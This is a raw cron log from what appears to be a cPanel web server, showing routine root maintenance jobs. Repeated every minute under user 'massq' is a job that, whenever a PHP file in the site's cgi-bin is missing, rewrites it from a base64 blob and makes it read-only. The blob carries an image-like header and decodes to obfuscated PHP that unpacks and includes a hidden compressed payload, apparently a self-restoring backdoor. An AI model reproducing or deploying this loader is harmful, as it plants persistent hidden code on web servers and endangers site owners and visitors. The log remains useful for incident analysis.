Nov  9 11:30:01 server CROND[32633]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:31:01 server CROND[901]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:32:01 server CROND[1615]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:33:01 server CROND[2438]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:34:01 server CROND[3254]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:35:01 server CROND[4172]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 11:35:01 server CROND[4175]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check &amp;&amp; /usr/local/cpanel/bin/tail-check)
Nov  9 11:35:01 server CROND[4174]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 11:35:01 server CROND[4176]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov  9 11:35:01 server CROND[4177]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:36:01 server CROND[4998]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:37:01 server CROND[5812]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:38:01 server CROND[6628]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:39:01 server CROND[7546]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:39:01 server CROND[7547]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov  9 11:40:01 server CROND[8504]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov  9 11:40:01 server CROND[8506]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov  9 11:40:01 server CROND[8507]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov  9 11:40:01 server CROND[8509]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:41:01 server CROND[9542]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov  9 11:42:01 server CROND[10379]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov  9 11:42:01 server CROND[10380]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
